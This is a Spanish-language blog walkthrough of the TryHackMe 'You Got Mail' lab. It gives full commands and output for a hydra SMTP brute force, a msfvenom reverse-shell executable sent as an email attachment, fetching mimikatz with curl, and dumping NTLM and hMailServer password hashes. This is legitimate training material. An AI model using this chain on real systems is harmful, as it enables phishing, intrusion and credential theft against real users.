Entrada

TryHackMe - You Got Mail (Tienes correo)

La máquina Windows también es divertida

TryHackMe - You Got Mail (Tienes correo)

Introducción

Vamos a mejorar nuestro juego y probar una habitación Medium. Se supone que debemos ingresar al sitio web brownbrick.co y obtener acceso a través de una dirección de correo electrónico, supongo.

Tryhackme Room Link

Nmap

Comencemos con el escaneo nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
nmap -T4 -n -sC -sV -Pn -p- 10.10.148.225
PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: USER UIDL TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: OK IMAP4rev1 IMAP4 completed CHILDREN SORT RIGHTS=texkA0001 ACL CAPABILITY IDLE QUOTA NAMESPACE
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          hMailServer smtpd
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-18T19:57:00+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-02-17T19:53:26
|_Not valid after:  2025-08-19T19:53:26
| rdp-ntlm-info: 
|   Target_Name: BRICK-MAIL
|   NetBIOS_Domain_Name: BRICK-MAIL
|   NetBIOS_Computer_Name: BRICK-MAIL
|   DNS_Domain_Name: BRICK-MAIL
|   DNS_Computer_Name: BRICK-MAIL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-02-18T19:56:52+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-02-18T19:56:52
|_  start_date: N/A

Muchos puertos abiertos con servicios principalmente de Microsoft.

Reconocimiento

Junto con los puertos abiertos, hemos recibido un sitio web https://brownbrick.co, así que visitémoslo.

Podemos ir directamente a la página del equipo y podemos ver las direcciones de correo electrónico.

Flag

Hagamos una lista para poder hacer fuerza bruta más tarde.

Y podemos usar una lista de contraseñas usando la herramienta cewl de todo el sitio web

1
$ cewl --lowercase https://brownbrick.co/ > pass.txt

Brute Force

Bien, ya que tenemos nuestra lista de nombres de usuario y contraseñas, intentemos forzar el acceso a través del puerto SMTP 587/tcp ya que estaba abierto. Usaremos hydra ya que es el más fácil.

1
hydra -L team.txt -P pass.txt 10.10.148.225 smtp -s 587

¡Y hemos conseguido un éxito!

1
2
[587][smtp] host: 10.10.148.225   login: [email protected]   password: bricks

Dado que existen credenciales válidas, podemos usarlas para enviar correos electrónicos a otros miembros del equipo mediante metasploit(msvenom) Creemos un ejecutable de shell inverso para poder enviarlo a otros miembros del equipo

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f exe -o shell.exe

Escuchemos el puerto 1337 y enviemos un correo electrónico con nuestro shell.exe adjunto

1
2
nc -lvnp 1337                                                                             
listening on [any] 1337 ...

Y enviemos un correo electrónico al primer miembro del equipo:

1
2
sendemail -f "[email protected]" -t "[email protected]" -u "test" -m "test" -a shell.exe -s 10.10.148.225:25 -xu "[email protected]" -xp "bricks"
Feb 18 21:22:08 kali sendemail[23334]: Email was sent successfully!

¡Y podemos ver que el usuario ya ha hecho clic en nuestro archivo adjunto!

1
2
3
4
5
6
7
connect to [10.11.75.122] from (UNKNOWN) [10.10.148.225] 49759
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Mail\Attachments>
whoami
brick-mail\wrohit

Bandera de usuario

La bandera está en el escritorio de nuestro usuario así que vamos a conseguirlo

User Flag

Obteniendo contraseñas

Para ello, utilizaremos la herramienta mimikatz. Podemos descargar hashes desde una máquina Windows, por lo que, en primer lugar, debemos obtener la aplicación mimikatz.exe en nuestra máquina de destino.

Iniciemos un servidor http en nuestra máquina atacante donde se encuentra mimikatz.exe y nos desempeñaremos como un servidor de descarga.

1
2
python3 -m http.server 80                                                                  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y luego descargar el archivo desde nuestra máquina

1
2
3
4
curl http://10.11.75.122/mimikatz.exe -o mimikatz.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1323k  100 1323k    0     0  1323k      0  0:00:01 --:--:--  0:00:01 3393k

Ahora podemos usar mimikatz.exe para volcar hashes

1
2
3
4
5
6
7
8
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

Necesitamos elevar privilegios usando token::elevate

1
2
mimikatz # privilege::debug
Privilege '20' OK

Y volcar hashes

1
2
3
4
mimikatz # lsadump::sam
RID  : 000003f6 (1014)
User : wrohit
  Hash NTLM: 8458995f1d0a4b0c107fb8e23362c814

Ahora descifra el hash usando crackstation.net

Root Flag

Y para obtener la contraseña de hMail vamos a

1
2
C:\Program Files (x86)\hMailServer\Bin>type hMailServer.INI
AdministratorPassword=5f4dcc3b5aa765d61d8327deb882cf99

Crackstation de nuevo y hemos terminado

hmail


Esta entrada está licenciada bajo CC BY 4.0 por el autor.